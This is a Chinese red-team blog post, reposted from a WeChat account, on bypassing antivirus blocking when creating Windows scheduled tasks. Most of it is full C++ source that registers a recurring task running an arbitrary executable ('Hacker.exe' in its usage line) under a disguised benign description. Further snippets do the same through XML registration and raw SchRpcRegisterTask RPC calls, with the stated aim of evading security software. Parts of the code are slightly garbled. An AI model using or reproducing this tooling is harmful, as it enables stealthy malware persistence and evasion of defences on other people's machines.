红队免杀-如何绕过杀软拦截创建计划任务

admin 2023年6月11日21:25:02评论214 views字数 10871阅读36分14秒阅读模式

创建计划任务

at.exe 在 windows8 开始就弃用了,之后的系统都是使用 schtasks.exe 创建计划任务。schtasks 比 at 更加强大, 使管理员能够在本地或远程计算机上创建、删除、查询、更改、运行和结束计划任务。运行不带参数的 schtasks.exe 将显示每个已注册任务的状态和下次运行时间。

schtasks /Create 
[/S system [/U username [/P
输入密码查看隐藏内容

]]]

[/RU username [/RP
输入密码查看隐藏内容

] /SC schedule [/MO modifier] [/D day]

[/M months] [/I idletime] /TN taskname /TR taskrun [/ST starttime]
[/RI interval] [ {/ET endtime | /DU duration} [/K]
[/XML xmlfile] [/V1]] [/SD startdate] [/ED enddate] [/IT] [/Z] [/F]
schtasks /create /tn TestSchtask /tr C:WindowsSystem32cmd.exe /sc DAILY /st 13:00:00

计划任务一旦创建成功,将会自动在 %SystemRoot%System32Tasks 目录生成一个关于该任务的描述性 XML 文件,包含了所有的任务信息。

实现

红队免杀-如何绕过杀软拦截创建计划任务

微软通过MS-DCERPC协议,在上层构建了MS-TSCH协议,该协议通过XML作为参数,实现了对计划任务的管理。

在微软的实现中,Schedule服务以SYSTEM权限运行,同时拥有SeImpersoante、SeAssignPrimaryToken等特权提供不同用户权限的切换。服务通过注册ncalrpc、ncacn_np(atsvc)以及向epmapper注册三种方式公开了本地与远程的RPC调用端点(EndPoint),为调用方提供MS-TSCH协议规定的服务。

微软通过COM,在Taskschd.dll内对MS-TSCH进行面向对象封装,其CLSID0F87369F-A4E5-4CFC-BD3E-73E6154572DD,并提供了一系列帮助接口提供Trigger、Action、Folder的抽象。

为了支持脚本功能,为这个类注册了名为Schedule.ServiceProgId,并实现了IDispatch接口,使得VBS/Powershell等脚本语言能够进行快速调用。

攻击者视角看,由于绝大部分文档都仅仅讲述对COM API的调用,进而可猜想绝大部分防御措施会针对Taskschd.dll,通过RPC进行绕过可能是一个可行的突破方案。

利用

如果主机存在安全软件,计划任务的创建会被阻止,命令行无法成功创建。

红队免杀-如何绕过杀软拦截创建计划任务


但可通过计划任务API绕过:

#include <windows.h>
#include <iostream>
#include <stdio.h>
#include <comdef.h>
#include <wincred.h>

#include <taskschd.h>
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")
#pragma comment(lib, "credui.lib")
#pragma warning(disable: 4996)
using namespace std;


int __cdecl wmain(int argc, wchar_t** argv)
{

  wchar_t* str = new wchar_t;
  str[0] = L'rm';
  HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
  if (FAILED(hr))
  {
      printf("nCoInitializeEx failed: %x", hr);
      return 1;
  }

  hr = CoInitializeSecurity(
      NULL,
      -1,
      NULL,
      NULL,
      RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
      RPC_C_IMP_LEVEL_IMPERSONATE,
      NULL,
      0,
      NULL);

  if (FAILED(hr))
  {
      printf("nCoInitializeSecurity failed: %x", hr);
      CoUninitialize();
      return 1;
  }

  if (argc == 4) {
      LPCWSTR wszTaskName = argv[1];

      //wstring wstrExecutablePath = _wgetenv(L"WINDIR");
      //wstrExecutablePath += L"\SYSTEM32\NOTEPAD.EXE";
      wstring wstrExecutablePath = argv[2];
      ITaskService* pService = NULL;
      hr = CoCreateInstance(CLSID_TaskScheduler,
          NULL,
          CLSCTX_INPROC_SERVER,
          IID_ITaskService,
          (void**)&pService);
      if (FAILED(hr))
      {
          printf("Failed to create an instance of ITaskService: %x", hr);
          CoUninitialize();
          return 1;
      }

      hr = pService->Connect(_variant_t(), _variant_t(),
          _variant_t(), _variant_t());
      if (FAILED(hr))
      {
          printf("ITaskService::Connect failed: %x", hr);
          pService->Release();
          CoUninitialize();
          return 1;
      }

      ITaskFolder* pRootFolder = NULL;
      hr = pService->GetFolder(_bstr_t(L"\"), &pRootFolder);
      if (FAILED(hr))
      {
          printf("Cannot get Root folder pointer: %x", hr);
          pService->Release();
          CoUninitialize();
          return 1;
      }

      pRootFolder->DeleteTask(_bstr_t(wszTaskName), 0);

      ITaskDefinition* pTask = NULL;
      hr = pService->NewTask(0, &pTask);

      pService->Release();
      if (FAILED(hr))
      {
          printf("Failed to CoCreate an instance of the TaskService class: %x", hr);
          pRootFolder->Release();
          CoUninitialize();
          return 1;
      }

      IRegistrationInfo* pRegInfo = NULL;
      hr = pTask->get_RegistrationInfo(&pRegInfo);
      if (FAILED(hr))
      {
          printf("nCannot get identification pointer: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }
      BSTR Author = SysAllocString(L"Administrator");
      pRegInfo->put_Author(Author);
/*       pRegInfo->Release();
      if (FAILED(hr))
      {
          printf("nCannot put identification info: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }*/
      //检查 AppID 证书缓存中是否存在无效或吊销的证书。
      //BSTR Author = SysAllocString(L"检查您"+L" Microsoft 软件保持最新状态。");
      hr = pRegInfo->put_Description(_bstr_t(L"Check the running status of your ")+ _bstr_t(argv[1]) + _bstr_t(L" software."));
      pRegInfo->Release();
      if (FAILED(hr))
      {
          printf("nCannot put_Description info: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }

      IPrincipal* pPrincipal = NULL;
      hr = pTask->get_Principal(&pPrincipal);
      if (FAILED(hr))
      {
          printf("nCannot get principal pointer: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }

      hr = pPrincipal->put_LogonType(TASK_LOGON_INTERACTIVE_TOKEN);
      pPrincipal->Release();
      if (FAILED(hr))
      {
          printf("nCannot put principal info: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }


      ITaskSettings* pSettings = NULL;
      hr = pTask->get_Settings(&pSettings);
      if (FAILED(hr))
      {
          printf("nCannot get settings pointer: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }

      hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
      pSettings->Release();
      if (FAILED(hr))
      {
          printf("nCannot put setting information: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }


      IIdleSettings* pIdleSettings = NULL;
      hr = pSettings->get_IdleSettings(&pIdleSettings);
      if (FAILED(hr))
      {
          printf("nCannot get idle setting information: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }
      BSTR PT5M = SysAllocString(L"PT5M");
      hr = pIdleSettings->put_WaitTimeout(PT5M);
      pIdleSettings->Release();
      if (FAILED(hr))
      {
          printf("nCannot put idle setting information: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }


      ITriggerCollection* pTriggerCollection = NULL;
      hr = pTask->get_Triggers(&pTriggerCollection);
      if (FAILED(hr))
      {
          printf("nCannot get trigger collection: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }


      ITrigger* pTrigger = NULL;
      hr = pTriggerCollection->Create(TASK_TRIGGER_TIME, &pTrigger);
      pTriggerCollection->Release();
      if (FAILED(hr))
      {
          printf("nCannot create trigger: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }

      ITimeTrigger* pTimeTrigger = NULL;
      hr = pTrigger->QueryInterface(
          IID_ITimeTrigger, (void**)&pTimeTrigger);
      pTrigger->Release();
      if (FAILED(hr))
      {
          printf("nQueryInterface call failed for ITimeTrigger: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }

      hr = pTimeTrigger->put_Id(_bstr_t(L"Trigger1"));
      if (FAILED(hr))
          printf("nCannot put trigger ID: %x", hr);

      hr = pTimeTrigger->put_EndBoundary(_bstr_t(L"2025-05-02T08:00:00"));
      if (FAILED(hr))
          printf("nCannot put end boundary on trigger: %x", hr);

      hr = pTimeTrigger->put_StartBoundary(_bstr_t(L"2005-01-01T12:05:00"));
      pTimeTrigger->Release();
      if (FAILED(hr))
      {
          printf("nCannot add start boundary to trigger: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }

      IRepetitionPattern* IRep = NULL;
      hr = pTimeTrigger->get_Repetition(&IRep);
      IRep->put_Interval(_bstr_t(L"PT") + _bstr_t(argv[3]));
      IRep->Release();
      if (FAILED(hr))
      {
          printf("nCannot put_Interval: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }



      IActionCollection* pActionCollection = NULL;
      hr = pTask->get_Actions(&pActionCollection);
      if (FAILED(hr))
      {
          printf("nCannot get Task collection pointer: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }


      IAction* pAction = NULL;
      hr = pActionCollection->Create(TASK_ACTION_EXEC, &pAction);
      pActionCollection->Release();
      if (FAILED(hr))
      {
          printf("nCannot create the action: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }

      IExecAction* pExecAction = NULL;

      hr = pAction->QueryInterface(
          IID_IExecAction, (void**)&pExecAction);
      pAction->Release();
      if (FAILED(hr))
      {
          printf("nQueryInterface call failed for IExecAction: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }


      hr = pExecAction->put_Path(_bstr_t(wstrExecutablePath.c_str()));
      pExecAction->Release();
      if (FAILED(hr))
      {
          printf("nCannot put action path: %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }

      IRegisteredTask* pRegisteredTask = NULL;
      hr = pRootFolder->RegisterTaskDefinition(
          _bstr_t(wszTaskName),
          pTask,
          TASK_CREATE_OR_UPDATE,
          _variant_t(),
          _variant_t(),
          TASK_LOGON_INTERACTIVE_TOKEN,
          _variant_t(L""),
          &pRegisteredTask);
      if (FAILED(hr))
      {
          printf("nError saving the Task : %x", hr);
          pRootFolder->Release();
          pTask->Release();
          CoUninitialize();
          return 1;
      }

      printf("n Success! Task successfully registered. ");


      pRootFolder->Release();
      pTask->Release();
      pRegisteredTask->Release();
      CoUninitialize();
      return 0;
       
  }
  else if (_wtoi(argv[1])== 1&& argc == 3)
  {
      ITaskService* pService = NULL;
      hr = CoCreateInstance(CLSID_TaskScheduler,
          NULL,
          CLSCTX_INPROC_SERVER,
          IID_ITaskService,
          (void**)&pService);
      if (FAILED(hr))
      {
          printf("Failed to create an instance of ITaskService: %x", hr);
          CoUninitialize();
          return 1;
      }

      hr = pService->Connect(_variant_t(), _variant_t(),
          _variant_t(), _variant_t());
      if (FAILED(hr))
      {
          printf("ITaskService::Connect failed: %x", hr);
          pService->Release();
          CoUninitialize();
          return 1;
      }

      ITaskFolder* pRootFolder = NULL;
      hr = pService->GetFolder(_bstr_t(L"\"), &pRootFolder);
      if (FAILED(hr))
      {
          printf("Cannot get Root folder pointer: %x", hr);
          pService->Release();
          CoUninitialize();
          return 1;
      }

      pRootFolder->DeleteTask(_bstr_t(argv[2]), 0);
      if (FAILED(hr))
      {
          printf("nError Delete the Task : %x", hr);
          pRootFolder->Release();
          pRootFolder->Release();
          CoUninitialize();
          return 1;
      }
      else
      {
          printf("Delete Success");
          return 0;
      }
  }
  else
  {
      printf("Create Servers: ITaskServers.exe ServerNmae Hacker.exe 5HnDelete Servers: ITaskServers.exe 1 ServerNmae");
      return 1;
  }
   
   
}

此外,微软提供了XML参考,也可以直接使用ITaskFolder::RegisterTask通过XML直接注册计划任务。

    ITaskFolder* pRootFolder = NULL;
  hr = pService->GetFolder(_bstr_t(L"\"), &pRootFolder);
  if (FAILED(hr))
  {
      printf("Cannot get Root folder pointer: %x", hr);
      pService->Release();
      CoUninitialize();
      return 1;
  }
  IRegisteredTask* pRegisteredTask = NULL;
  pRootFolder->RegisterTask
  (
      _bstr_t(wszTaskName),
      _bstr_t("xml"),
      TASK_CREATE_OR_UPDATE,
      _variant_t(),
      _variant_t(),
      TASK_LOGON_INTERACTIVE_TOKEN,
      _variant_t(),
      &pRegisteredTask
  );

但是现在用这种调用API的方式创建计划任务比较强特征,一般会被拦截。不过只是EXE,DLL不拦。如果不想用DLL也可以使用RPC直接调用,我想这个应该不用多说了吧~

前面的课已经讲过了,可以直接利用RPC调用绕过相当一部分防护软件对计划任务自启动的拦截:

MS-TSCH 6.3 Appendix A.3: SchRpc.idl提供了完整的IDL,通过编译IDL即可直接进行简单的RPC调用:

RpcTryExcept
{
  wchar_t* pActualPath = 0;
  const wchar_t* xml = L"<!--snipped xml-->";
  _TASK_XML_ERROR_INFO *errorInfo = 0;
  SchRpcRegisterTask
  (
    schrpc_binding_handle,
    L"\Test Task",
    xml,
    6,
    0,
    0,
    0,
    0,
    &pActualPath,
    &errorInfo
  );
}
RpcExcept(1)
{
  DWORD code = RpcExceptionCode();
  printf("RPC Exception %dn", code);
}

RpcEndExcept;

参考视频:https://www.bilibili.com/video/BV1co4y1N7x9/

原文始发于微信公众号(老鑫安全):红队免杀-如何绕过杀软拦截创建计划任务

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年6月11日21:25:02
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   红队免杀-如何绕过杀软拦截创建计划任务http://cn-sec.com/archives/1796963.html

发表评论

匿名网友 填写信息